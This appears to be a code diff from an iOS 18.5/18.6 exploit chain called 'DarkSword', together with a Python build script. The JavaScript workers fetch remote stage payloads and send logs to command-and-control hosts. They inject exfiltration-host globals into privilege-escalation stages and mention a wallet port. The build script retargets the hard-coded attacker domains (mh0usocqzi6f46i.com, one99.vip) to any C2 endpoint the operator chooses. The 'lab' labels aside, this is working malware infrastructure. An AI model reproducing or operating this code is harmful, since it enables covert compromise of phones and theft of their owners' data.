|
||||
if (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil)
|
||||
return window.NEWS2_CONFIG.exfil;
|
||||
} catch (e2) {}
|
||||
return { host: "mh0usocqzi6f46i.com", http_port: 443, https_port: 443, tls: false };
|
||||
const base = labApiBase();
|
||||
const h = String(base || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
return { host: h || '127.0.0.1', http_port: 80, https_port: 443, tls: false };
|
||||
}
|
||||
function exfilFields() {
|
||||
const t = resolveExfilTarget();
|
||||
@@ -513,11 +506,11 @@ function exfilFields() {
|
||||
} catch (eDu) { deviceUUID = ''; }
|
||||
if (!t) {
|
||||
return {
|
||||
exfilHost: 'mh0usocqzi6f46i.com',
|
||||
exfilHost: '192.168.31.130',
|
||||
exfilHttpPort: 8018,
|
||||
exfilHttpsPort: 8018,
|
||||
exfilTls: false,
|
||||
exfilFallbackHost: 'mh0usocqzi6f46i.com',
|
||||
exfilFallbackHost: '192.168.31.130',
|
||||
exfilFallbackHttpPort: 8018,
|
||||
deviceUUID,
|
||||
};
|
||||
@@ -526,7 +519,7 @@ function exfilFields() {
|
||||
const hostRaw = String(t.host || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
const isIp = /^\d+\.\d+\.\d+\.\d+$/.test(hostRaw);
|
||||
if (isIp || t.prefer_https === false || t.tls === false || (t.http_port && Number(t.http_port) === 4001)) {
|
||||
const ip = isIp ? hostRaw : 'mh0usocqzi6f46i.com';
|
||||
const ip = isIp ? hostRaw : '192.168.31.130';
|
||||
return {
|
||||
exfilHost: ip,
|
||||
exfilHttpPort: t.http_port != null ? Number(t.http_port) : 4001,
|
||||
@@ -548,7 +541,7 @@ function exfilFields() {
|
||||
exfilHttpsPort: port,
|
||||
exfilTls: u.protocol === 'https:',
|
||||
statsUrl: t.stats_url,
|
||||
exfilFallbackHost: 'mh0usocqzi6f46i.com',
|
||||
exfilFallbackHost: '192.168.31.130',
|
||||
exfilFallbackHttpPort: 8018,
|
||||
deviceUUID,
|
||||
};
|
||||
@@ -561,7 +554,7 @@ function exfilFields() {
|
||||
exfilHttpPort: t.http_port != null ? t.http_port : (tls ? 443 : 4001),
|
||||
exfilHttpsPort: t.https_port != null ? t.https_port : (tls ? 443 : 4001),
|
||||
exfilTls: tls,
|
||||
exfilFallbackHost: 'mh0usocqzi6f46i.com',
|
||||
exfilFallbackHost: '192.168.31.130',
|
||||
exfilFallbackHttpPort: 8018,
|
||||
statsUrl: t.delivery_stats_url || '',
|
||||
deviceUUID,
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
|
||||
// rce_module_18.5.js — iOS 18.5 companion module (from rce_module_18.6.js)
|
||||
// LAB_RCE_MODULE_18_5 — fallback from rce_module.js (GitHub stub was 85B)
|
||||
/* HEADERS */
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
|
||||
/* HEADERS */
|
||||
const ab = new ArrayBuffer(8);
|
||||
const u64 = new BigUint64Array(ab);
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
var SERVER_LOG;
|
||||
var __labC2Host = 'https://mh0usocqzi6f46i.com:443';
|
||||
let offsets;
|
||||
let MessageName;
|
||||
|
||||
@@ -214,6 +213,14 @@ self[1] = boxed_arr;
|
||||
}
|
||||
let logStart = new Date().getTime();
|
||||
let logEntryID = 0;
|
||||
var __labC2Host = '';
|
||||
function labC2LogUrl(qs) {
|
||||
var base = __labC2Host;
|
||||
if (!base) {
|
||||
try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; }
|
||||
}
|
||||
return String(base || '').replace(/\/$/, '') + '/api/ds/log?' + qs;
|
||||
}
|
||||
function print(x, reportError = false, dumphex = false) {
|
||||
let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x;
|
||||
if (!SERVER_LOG && !reportError) return;
|
||||
@@ -227,12 +234,7 @@ self[1] = boxed_arr;
|
||||
}
|
||||
let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&')
|
||||
const xhr = new XMLHttpRequest();
|
||||
var logBase = '';
|
||||
try {
|
||||
if (typeof __labC2Host === 'string' && __labC2Host) logBase = String(__labC2Host).replace(/\/$/, '');
|
||||
} catch (eLb) {}
|
||||
if (!logBase) logBase = 'https://mh0usocqzi6f46i.com:443';
|
||||
xhr.open("GET", logBase + "/api/ds/log?" + req , false);
|
||||
xhr.open("GET", labC2LogUrl(req), false);
|
||||
xhr.send(null);
|
||||
}
|
||||
let signal_ptr;
|
||||
@@ -242,6 +244,15 @@ self[1] = boxed_arr;
|
||||
const p = {};
|
||||
// L1 encryption state (populated via postMessage from main thread)
|
||||
var _enc_S = null, _enc_K = null, _enc_hashes = null, _enc_checksums = null;
|
||||
function __labPrependDelivery(fname, text) {
|
||||
if (!text) return text;
|
||||
var f = String(fname || '').toLowerCase();
|
||||
if (f.indexOf('pe_worker') < 0 && f.indexOf('pe_main') < 0) return text;
|
||||
var d = '';
|
||||
try { d = String(host || '').replace(/"/g, ''); } catch (_h) {}
|
||||
if (!d) return text;
|
||||
return 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__PE_DELIVERY_HOST__="' + d + '";}catch(_d){}\n' + text;
|
||||
}
|
||||
|
||||
function getJS(fname,method = 'POST')
|
||||
{
|
||||
@@ -299,15 +310,12 @@ self[1] = boxed_arr;
|
||||
try
|
||||
{
|
||||
let url = "";
|
||||
var assetBase = String(host || '').replace(/\/$/, '');
|
||||
var assetPath = String(fname || '');
|
||||
if (assetPath.charAt(0) !== '/') assetPath = '/' + assetPath;
|
||||
url = assetBase + assetPath;
|
||||
url = host + "/" + fname;
|
||||
print("trying to fetch from:" + url);
|
||||
let xhr = new XMLHttpRequest();
|
||||
xhr.open("GET", `${url}` , false);
|
||||
xhr.send(null);
|
||||
return _labDecryptWire(xhr.responseText);
|
||||
return __labPrependDelivery(fname, _labDecryptWire(xhr.responseText));
|
||||
}
|
||||
catch(e)
|
||||
{
|
||||
@@ -342,9 +350,9 @@ self[1] = boxed_arr;
|
||||
const chipset = data.chipset;
|
||||
const offsets = data.offsets;
|
||||
const slide = data.slide;
|
||||
__labC2Host = 'https://mh0usocqzi6f46i.com:443';
|
||||
__labC2Host = 'http://192.168.31.130:8080';
|
||||
host = data.desiredHost;
|
||||
try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || 'mh0usocqzi6f46i.com') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'https://mh0usocqzi6f46i.com:443'; }
|
||||
try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || '192.168.31.130') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'http://192.168.31.130:8080'; }
|
||||
SERVER_LOG = data.SERVER_LOG;
|
||||
if (data._enc_session) {
|
||||
_enc_S = data._enc_session;
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
|
||||
/* rce_worker_18.5.js — dedicated iOS 18.5 / build 22F76 worker
|
||||
* Proven path: stage1_rce → sbx0/sbx1 → pe (cloned from rce_worker_18.6.js).
|
||||
* Selected by rce_loader pickWorkerFile / server darksword_workers_for_ios for 18.5.
|
||||
@@ -22,6 +22,14 @@ let logStart = new Date().getTime();
|
||||
let logEntryID = 0;
|
||||
let __printBudget = 60;
|
||||
let __printWindowStart = 0;
|
||||
var __labExfilUrl = '';
|
||||
function labC2LogUrl(qs) {
|
||||
var base = __labExfilUrl;
|
||||
if (!base) {
|
||||
try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; }
|
||||
}
|
||||
return String(base || '').replace(/\/$/, '') + '/api/ds/log?' + qs;
|
||||
}
|
||||
function print(x, reportError = false, dumphex = false) {
|
||||
let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x;
|
||||
if (!SERVER_LOG && !reportError) return;
|
||||
@@ -48,7 +56,7 @@ function print(x, reportError = false, dumphex = false) {
|
||||
}
|
||||
let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&')
|
||||
const xhr = new XMLHttpRequest();
|
||||
xhr.open("GET", labWorkerApiBase() + "/api/ds/log?" + req , true);
|
||||
xhr.open("GET", labC2LogUrl(req) , true);
|
||||
if (__labDeviceUUID) {
|
||||
try { xhr.setRequestHeader('X-Device-UUID', __labDeviceUUID); } catch (e1) {}
|
||||
}
|
||||
@@ -56,43 +64,33 @@ function print(x, reportError = false, dumphex = false) {
|
||||
} catch (e) {}
|
||||
}
|
||||
|
||||
var __exfilHost = 'mh0usocqzi6f46i.com';
|
||||
var __exfilHost = '192.168.31.130';
|
||||
var __exfilHttpPort = 4001;
|
||||
var __exfilHttpsPort = 4001;
|
||||
var __exfilTls = false;
|
||||
var __exfilFallbackHost = '';
|
||||
var __exfilFallbackHttp = 4001;
|
||||
var __labDeviceUUID = '';
|
||||
function labWorkerApiBase() {
|
||||
try {
|
||||
var tls = !!__exfilTls;
|
||||
var h = String(__exfilHost || 'mh0usocqzi6f46i.com').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
var port = Number(tls ? (__exfilHttpsPort || 443) : (__exfilHttpPort || 443));
|
||||
var o = (tls ? 'https://' : 'http://') + h;
|
||||
if (!((tls && port === 443) || (!tls && port === 80) || !port)) o += ':' + port;
|
||||
return o;
|
||||
} catch (e) {}
|
||||
return 'https://mh0usocqzi6f46i.com:443';
|
||||
}
|
||||
function applyExfilFromData(data) {
|
||||
if (!data) return;
|
||||
if (data.exfilHost) __exfilHost = String(data.exfilHost);
|
||||
try { __labExfilUrl = (__exfilTls ? 'https://' : 'http://') + __exfilHost + ':' + (__exfilHttpsPort || __exfilHttpPort || 8018); } catch (_e) { __labExfilUrl = 'http://one99.vip:80'; }
|
||||
if (data.exfilHttpPort != null) __exfilHttpPort = Number(data.exfilHttpPort);
|
||||
if (data.exfilHttpsPort != null) __exfilHttpsPort = Number(data.exfilHttpsPort);
|
||||
if (data.exfilTls != null) __exfilTls = !!data.exfilTls;
|
||||
if (data.exfilFallbackHost) __exfilFallbackHost = String(data.exfilFallbackHost).split(':')[0];
|
||||
if (data.exfilFallbackHttpPort != null) __exfilFallbackHttp = Number(data.exfilFallbackHttpPort);
|
||||
if (data.deviceUUID) __labDeviceUUID = String(data.deviceUUID).replace(/-/g, '').toUpperCase();
|
||||
try { __labExfilUrl = (__exfilTls ? 'https://' : 'http://') + __exfilHost + ':' + (__exfilHttpsPort || __exfilHttpPort || 80); } catch (_e) { __labExfilUrl = ''; }
|
||||
}
|
||||
function patchExfilPayload(script) {
|
||||
if (!script) return script;
|
||||
// Lab alignment (DarKDevz/GitHub): always VPS IPv4 + plain :4001 / TLS :4001.
|
||||
// Never force domain:443 — inet_addr() rejects hostnames; CFStream TLS hangs InjectJS.
|
||||
var raw = String(__exfilHost || 'mh0usocqzi6f46i.com').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
var h = raw || 'mh0usocqzi6f46i.com';
|
||||
var hp = '8018';
|
||||
var hsp = '8018';
|
||||
var raw = String(__exfilHost || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
var h = raw;
|
||||
var hp = String(Number(__exfilHttpPort || 80) || 80);
|
||||
var hsp = String(Number(__exfilHttpsPort || __exfilHttpPort || 80) || 80);
|
||||
var tls = !!__exfilTls;
|
||||
var delivery = '';
|
||||
try { delivery = String(host || '').replace(/"/g, ''); } catch (_d) {}
|
||||
var s = script;
|
||||
var stale = ['fax-hydraulic-mineral-minute.trycloudflare.com', '192.168.0.3',
|
||||
'192.168.0.2', 'describe-recommendation-sixth-harrison.trycloudflare.com',
|
||||
@@ -119,13 +117,11 @@ function patchExfilPayload(script) {
|
||||
s = s.replace(/const EXFIL_MC_USE_TLS = true/g, 'const EXFIL_MC_USE_TLS = true');
|
||||
// MPD JSContext may lack globalThis — bare assignment aborts pe_main before pe_main_start
|
||||
var pre = 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));'
|
||||
+ 'if(__peG){__peG.__PE_EXFIL_HOST__="' + h + '";'
|
||||
+ '__peG.__PE_EXFIL_TLS__=false;'
|
||||
+ '__peG.__PE_EXFIL_HTTP__=' + hp + ';'
|
||||
+ '__peG.__PE_EXFIL_HTTPS__=' + hsp + ';'
|
||||
+ (__exfilFallbackHost ? ('__peG.__PE_EXFIL_FALLBACK_HOST__="' + String(__exfilFallbackHost).split(':')[0] + '";__peG.__PE_EXFIL_FALLBACK_HTTP__=' + String(__exfilFallbackHttp || 4001) + ';') : '')
|
||||
+ 'if(__peG){'
|
||||
+ (h ? ('__peG.__PE_EXFIL_HOST__="' + h + '";__peG.__PE_EXFIL_TLS__=' + (tls ? 'true' : 'false') + ';__peG.__PE_EXFIL_HTTP__=' + hp + ';__peG.__PE_EXFIL_HTTPS__=' + hsp + ';') : '')
|
||||
+ (delivery ? ('__peG.__PE_DELIVERY_HOST__="' + delivery + '";') : '')
|
||||
+ (__exfilFallbackHost ? ('__peG.__PE_EXFIL_FALLBACK_HOST__="' + String(__exfilFallbackHost).split(':')[0] + '";__peG.__PE_EXFIL_FALLBACK_HTTP__=' + String(__exfilFallbackHttp || 80) + ';') : '')
|
||||
+ (__labDeviceUUID ? ('__peG.__LAB_DEVICE_UUID__="' + __labDeviceUUID + '";') : '')
|
||||
+ (typeof host === 'string' && host ? ('__peG.__PE_DELIVERY_HOST__="' + String(host).replace(/"/g, '') + '";') : '')
|
||||
+ '}}catch(_pePre){}\n';
|
||||
return pre + s;
|
||||
}
|
||||
@@ -145,12 +141,12 @@ function getJS(fname, method = 'GET', tries = 5)
|
||||
// Prefer gofun for large payloads — device WebContent often ATS-blocks cleartext :8080.
|
||||
if (heavy) {
|
||||
if (primary && bases.indexOf(primary) < 0) bases.push(primary);
|
||||
if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80');
|
||||
if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80');
|
||||
if (bases.indexOf('http://192.168.31.130:8080') < 0) bases.push('http://192.168.31.130:8080');
|
||||
if (bases.indexOf('http://192.168.31.130:8080') < 0) bases.push('http://192.168.31.130:8080');
|
||||
} else {
|
||||
if (primary) bases.push(primary);
|
||||
if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80');
|
||||
if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80');
|
||||
if (bases.indexOf('http://192.168.31.130:8080') < 0) bases.push('http://192.168.31.130:8080');
|
||||
if (bases.indexOf('http://192.168.31.130:8080') < 0) bases.push('http://192.168.31.130:8080');
|
||||
}
|
||||
if (!bases.length) { print('getJS: no host'); return ''; }
|
||||
const maxTries = heavy ? Math.min(tries, 3) : tries;
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
var SERVER_LOG;
|
||||
var __labC2Host = 'https://mh0usocqzi6f46i.com:443';
|
||||
let offsets;
|
||||
let MessageName;
|
||||
|
||||
@@ -16,6 +15,14 @@ function sleep(ms) {
|
||||
}
|
||||
let logStart = new Date().getTime();
|
||||
let logEntryID = 0;
|
||||
var __labC2Host = '';
|
||||
function labC2LogUrl(qs) {
|
||||
var base = __labC2Host;
|
||||
if (!base) {
|
||||
try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; }
|
||||
}
|
||||
return String(base || '').replace(/\/$/, '') + '/api/ds/log?' + qs;
|
||||
}
|
||||
function print(x, reportError = false, dumphex = false) {
|
||||
let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x;
|
||||
// Errors only to /api/ds/log — progress stays in fopen side-channel / console.
|
||||
@@ -32,12 +39,7 @@ function print(x, reportError = false, dumphex = false) {
|
||||
}
|
||||
let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&')
|
||||
const xhr = new XMLHttpRequest();
|
||||
var logBase = '';
|
||||
try {
|
||||
if (typeof __labC2Host === 'string' && __labC2Host) logBase = String(__labC2Host).replace(/\/$/, '');
|
||||
} catch (eLb) {}
|
||||
if (!logBase) logBase = 'https://mh0usocqzi6f46i.com:443';
|
||||
xhr.open("GET", logBase + "/api/ds/log?" + req , false);
|
||||
xhr.open("GET", labC2LogUrl(req) , false);
|
||||
xhr.send(null);
|
||||
}
|
||||
// 去掉加解密:明文直通,不再解密任何 blob。
|
||||
@@ -47,19 +49,14 @@ function print(x, reportError = false, dumphex = false) {
|
||||
function _labDecryptWire(text) {
|
||||
return text;
|
||||
}
|
||||
|
||||
var __labDeviceUUID = '';
|
||||
function __labCanonUuid(v) {
|
||||
var s = String(v || '').replace(/-/g, '').toUpperCase();
|
||||
return /^[0-9A-F]{16,64}$/.test(s) ? s : '';
|
||||
}
|
||||
function __labPrependDeviceUuid(fname, text) {
|
||||
function __labPrependDelivery(fname, text) {
|
||||
if (!text) return text;
|
||||
var du = __labCanonUuid(__labDeviceUUID);
|
||||
if (!du || du === '69DD25B2CA8B5682BA2470D77124E2FC') return text;
|
||||
var f = String(fname || '').toLowerCase();
|
||||
if (f.indexOf('pe_worker') < 0 && f.indexOf('pe_main') < 0 && f.indexOf('sbx1') < 0) return text;
|
||||
return 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__LAB_DEVICE_UUID__="' + du + '";}catch(_peU){}\n' + text;
|
||||
if (f.indexOf('pe_worker') < 0 && f.indexOf('pe_main') < 0) return text;
|
||||
var d = '';
|
||||
try { d = String(host || '').replace(/"/g, ''); } catch (_h) {}
|
||||
if (!d) return text;
|
||||
return 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__PE_DELIVERY_HOST__="' + d + '";}catch(_d){}\n' + text;
|
||||
}
|
||||
|
||||
function getJS(fname,method = 'POST')
|
||||
@@ -115,15 +112,12 @@ function print(x, reportError = false, dumphex = false) {
|
||||
try
|
||||
{
|
||||
let url = "";
|
||||
var assetBase = String(host || '').replace(/\/$/, '');
|
||||
var assetPath = String(fname || '');
|
||||
if (assetPath.charAt(0) !== '/') assetPath = '/' + assetPath;
|
||||
url = assetBase + assetPath + (assetPath.indexOf('?') >= 0 ? '&' : '?') + '_t=' + Date.now();
|
||||
url = host + "/" + fname + (fname.indexOf('?') >= 0 ? '&' : '?') + '_t=' + Date.now();
|
||||
print("trying to fetch from:" + url);
|
||||
let xhr = new XMLHttpRequest();
|
||||
xhr.open("GET", `${url}` , false);
|
||||
xhr.send(null);
|
||||
return __labPrependDeviceUuid(fname, _labDecryptWire(xhr.responseText));
|
||||
return __labPrependDelivery(fname, _labDecryptWire(xhr.responseText));
|
||||
}
|
||||
catch(e)
|
||||
{
|
||||
@@ -14405,7 +14399,7 @@ async function main() {
|
||||
const fopen_mode_str = 'w';
|
||||
const fopen_mode_ptr = p.read64(p.read64(p.addrof(fopen_mode_str) + 8n) + 8n);
|
||||
function log(msg) {
|
||||
// Mirror stage logs to local server via /api/ds/log (SERVER_LOG)
|
||||
// Mirror stage logs to C2 via /api/ds/log (SERVER_LOG)
|
||||
try { print(String(msg)); } catch (e) {}
|
||||
if (true) {
|
||||
const elapsed = parseInt(Date.now() - rce_begin);
|
||||
@@ -14449,10 +14443,9 @@ async function main() {
|
||||
}
|
||||
case 'stage1_rce':
|
||||
{
|
||||
__labC2Host = 'https://mh0usocqzi6f46i.com:443';
|
||||
__labC2Host = 'http://192.168.31.130:8080';
|
||||
host = data.desiredHost;
|
||||
try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || 'mh0usocqzi6f46i.com') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'https://mh0usocqzi6f46i.com:443'; }
|
||||
try { __labDeviceUUID = __labCanonUuid(data.deviceUUID || data.device || data.uuid); } catch (_du) {}
|
||||
try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || '192.168.31.130') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'http://192.168.31.130:8080'; }
|
||||
SERVER_LOG = data.SERVER_LOG;
|
||||
if (data._enc_session) {
|
||||
_enc_S = data._enc_session;
|
||||
|
||||
+171
-132
@@ -1,119 +1,139 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Rewrite DarkSword hosts in source/ and publish to public/next-chain.
|
||||
"""Rewrite one99 host literals to --c2 and publish source/ → public/next-chain.
|
||||
|
||||
Usage:
|
||||
python3 tools/build.py
|
||||
python3 tools/build.py --host 192.168.31.130 --port 8000
|
||||
python3 tools/build.py --origin http://192.168.31.130:8000
|
||||
Delivery is always the weifile page origin + /next-chain (runtime). Do not pass --delivery
|
||||
unless you are overriding NEWS2_CONFIG.deliveryPath for a CDN experiment.
|
||||
|
||||
php artisan ds:build --c2 http://192.168.31.130:8000
|
||||
php artisan ds:build --c2 https://c2.example.com
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import re
|
||||
import shutil
|
||||
import sys
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from urllib.parse import urlparse
|
||||
|
||||
TOOLS = Path(__file__).resolve().parent
|
||||
BUILDER_ROOT = TOOLS.parent
|
||||
PROJECT_ROOT = BUILDER_ROOT.parent
|
||||
|
||||
DEFAULT_SOURCE = BUILDER_ROOT / "source"
|
||||
DEFAULT_DEST = PROJECT_ROOT / "public" / "next-chain"
|
||||
SKIP_SUFFIX = {".png", ".jpg", ".jpeg", ".gif", ".webp", ".ico", ".dylib", ".bin"}
|
||||
# Checked into source/config.js; must be rewritten when --origin is not the lab box.
|
||||
TEMPLATE_HOST = "192.168.31.130"
|
||||
TEMPLATE_PORT = 8000
|
||||
|
||||
EXFIL_RE = re.compile(r"exfil:\s*\{[^{}]*\}", re.S)
|
||||
TEXT_SUFFIXES = {".js", ".html", ".json", ".css", ".txt", ".md"}
|
||||
SKIP_PUBLISH = {"log.html"}
|
||||
|
||||
|
||||
def replacements(ip: str, port: int, origin: str) -> list[tuple[str, str]]:
|
||||
use_tls = origin.startswith("https://")
|
||||
tls_js = "true" if use_tls else "false"
|
||||
pairs = [
|
||||
("https://mh0usocqzi6f46i.com:443", origin),
|
||||
("http://mh0usocqzi6f46i.com:443", origin),
|
||||
("https://mh0usocqzi6f46i.com", origin),
|
||||
("http://one99.vip:80", origin),
|
||||
("https://one99.vip:80", origin),
|
||||
("http://one99.vip", origin),
|
||||
("https://one99.vip", origin),
|
||||
(f"https://{TEMPLATE_HOST}:{TEMPLATE_PORT}", origin),
|
||||
(f"http://{TEMPLATE_HOST}:{TEMPLATE_PORT}", origin),
|
||||
(f'https://{TEMPLATE_HOST}"', origin + '"'),
|
||||
(f'http://{TEMPLATE_HOST}"', origin + '"'),
|
||||
(f"https://{TEMPLATE_HOST}/", origin + "/"),
|
||||
(f"http://{TEMPLATE_HOST}/", origin + "/"),
|
||||
('{ host: "mh0usocqzi6f46i.com", port: 443 }', f'{{ host: "{ip}", port: {port} }}'),
|
||||
('{ host: "one99.vip", port: 80 }', f'{{ host: "{ip}", port: {port} }}'),
|
||||
@dataclass(frozen=True)
|
||||
class Endpoint:
|
||||
host: str
|
||||
port: int
|
||||
origin: str
|
||||
tls: bool
|
||||
path: str
|
||||
|
||||
@property
|
||||
def url(self) -> str:
|
||||
return self.origin + self.path
|
||||
|
||||
|
||||
def parse_endpoint(raw: str, *, label: str) -> Endpoint:
|
||||
parsed = urlparse((raw or "").strip())
|
||||
if parsed.scheme not in ("http", "https") or not parsed.hostname:
|
||||
raise SystemExit(f"invalid {label}: {raw!r} (need http(s)://host[:port][/path])")
|
||||
host = parsed.hostname
|
||||
tls = parsed.scheme == "https"
|
||||
port = parsed.port or (443 if tls else 80)
|
||||
origin = f"{parsed.scheme}://{host}"
|
||||
if not ((tls and port == 443) or (not tls and port == 80)):
|
||||
origin += f":{port}"
|
||||
path = (parsed.path or "").rstrip("/")
|
||||
if path and not path.startswith("/"):
|
||||
path = "/" + path
|
||||
return Endpoint(host=host, port=port, origin=origin, tls=tls, path=path)
|
||||
|
||||
|
||||
def rewrite_pairs(c2: Endpoint) -> list[tuple[str, str]]:
|
||||
hp = f'{{ host: "{c2.host}", port: {c2.port} }}'
|
||||
ports = f'{{ host: "{c2.host}", http_port: {c2.port}, https_port: {c2.port}, tls: {"true" if c2.tls else "false"} }}'
|
||||
return [
|
||||
("https://mh0usocqzi6f46i.com:443", c2.origin),
|
||||
("http://mh0usocqzi6f46i.com:443", c2.origin),
|
||||
("https://mh0usocqzi6f46i.com", c2.origin),
|
||||
("http://mh0usocqzi6f46i.com", c2.origin),
|
||||
("http://one99.vip:80", c2.origin),
|
||||
("https://one99.vip:80", c2.origin),
|
||||
("http://one99.vip", c2.origin),
|
||||
("https://one99.vip", c2.origin),
|
||||
("http://192.168.31.130:8080", c2.origin),
|
||||
("https://192.168.31.130:8080", c2.origin),
|
||||
('{ host: "mh0usocqzi6f46i.com", port: 443 }', hp),
|
||||
('{ host: "one99.vip", port: 80 }', hp),
|
||||
('{ host: "192.168.31.130", port: 8080 }', hp),
|
||||
(
|
||||
'{ host: "mh0usocqzi6f46i.com", http_port: 443, https_port: 443, tls: false }',
|
||||
f'{{ host: "{ip}", http_port: {port}, https_port: {port}, tls: {tls_js} }}',
|
||||
ports,
|
||||
),
|
||||
('const HQ_WALLET_PORT = "443"', f'const HQ_WALLET_PORT = "{port}"'),
|
||||
('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{port}\\"'),
|
||||
(" http_port: 443,\n https_port: 443,", f" http_port: {port},\n https_port: {port},"),
|
||||
(f"http_port: {TEMPLATE_PORT}", f"http_port: {port}"),
|
||||
(f"https_port: {TEMPLATE_PORT}", f"https_port: {port}"),
|
||||
(f'host: "{TEMPLATE_HOST}"', f'host: "{ip}"'),
|
||||
(f'domain: "{TEMPLATE_HOST}"', f'domain: "{ip}"'),
|
||||
("mh0usocqzi6f46i.com", ip),
|
||||
("one99.vip", ip),
|
||||
(TEMPLATE_HOST, ip),
|
||||
("hostOnly === '192.168.1.29'", f"hostOnly === '{ip}'"),
|
||||
("_h === '192.168.4.10'", f"_h === '{ip}'"),
|
||||
('hostOnly === "192.168.1.29"', f'hostOnly === "{ip}"'),
|
||||
('_h === "192.168.4.10"', f'_h === "{ip}"'),
|
||||
('"192.168.1.29"', f'"{ip}"'),
|
||||
('redirectUrl: "https://ab.ux600.com"', f'redirectUrl: "{origin}/?landed=1"'),
|
||||
("'https://ab.ux600.com'", f"'{origin}/?landed=1'"),
|
||||
# public/log/ is a directory on lab; phone POST /log must hit the API.
|
||||
('__labCfHttp("POST", "/log"', '__labCfHttp("POST", "/api/ds/log"'),
|
||||
('__labCfHttp(\\"POST\\", \\"/log\\"', '__labCfHttp(\\"POST\\", \\"/api/ds/log\\"'),
|
||||
('__labCfHttp("GET", "/log.html?"', '__labCfHttp("GET", "/api/ds/log?"'),
|
||||
('__labCfHttp(\\"GET\\", \\"/log.html?"', '__labCfHttp(\\"GET\\", \\"/api/ds/log?"'),
|
||||
("/log.html", "/api/ds/log"),
|
||||
(origin + '/log"', origin + '/api/ds/log"'),
|
||||
(origin + '/log\\"', origin + '/api/ds/log\\"'),
|
||||
(':80/log"', ':80/api/ds/log"'),
|
||||
(':80/log\\"', ':80/api/ds/log\\"'),
|
||||
(
|
||||
'{ host: "192.168.31.130", http_port: 8080, https_port: 8080, tls: false }',
|
||||
ports,
|
||||
),
|
||||
('const HQ_WALLET_PORT = "443"', f'const HQ_WALLET_PORT = "{c2.port}"'),
|
||||
('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{c2.port}\\"'),
|
||||
('const HQ_WALLET_PORT = "8080"', f'const HQ_WALLET_PORT = "{c2.port}"'),
|
||||
('const HQ_WALLET_PORT = \\"8080\\"', f'const HQ_WALLET_PORT = \\"{c2.port}\\"'),
|
||||
("mh0usocqzi6f46i.com", c2.host),
|
||||
("one99.vip", c2.host),
|
||||
("192.168.31.130", c2.host),
|
||||
]
|
||||
if use_tls:
|
||||
pairs.extend(
|
||||
[
|
||||
("tls: false", "tls: true"),
|
||||
("prefer_https: false", "prefer_https: true"),
|
||||
]
|
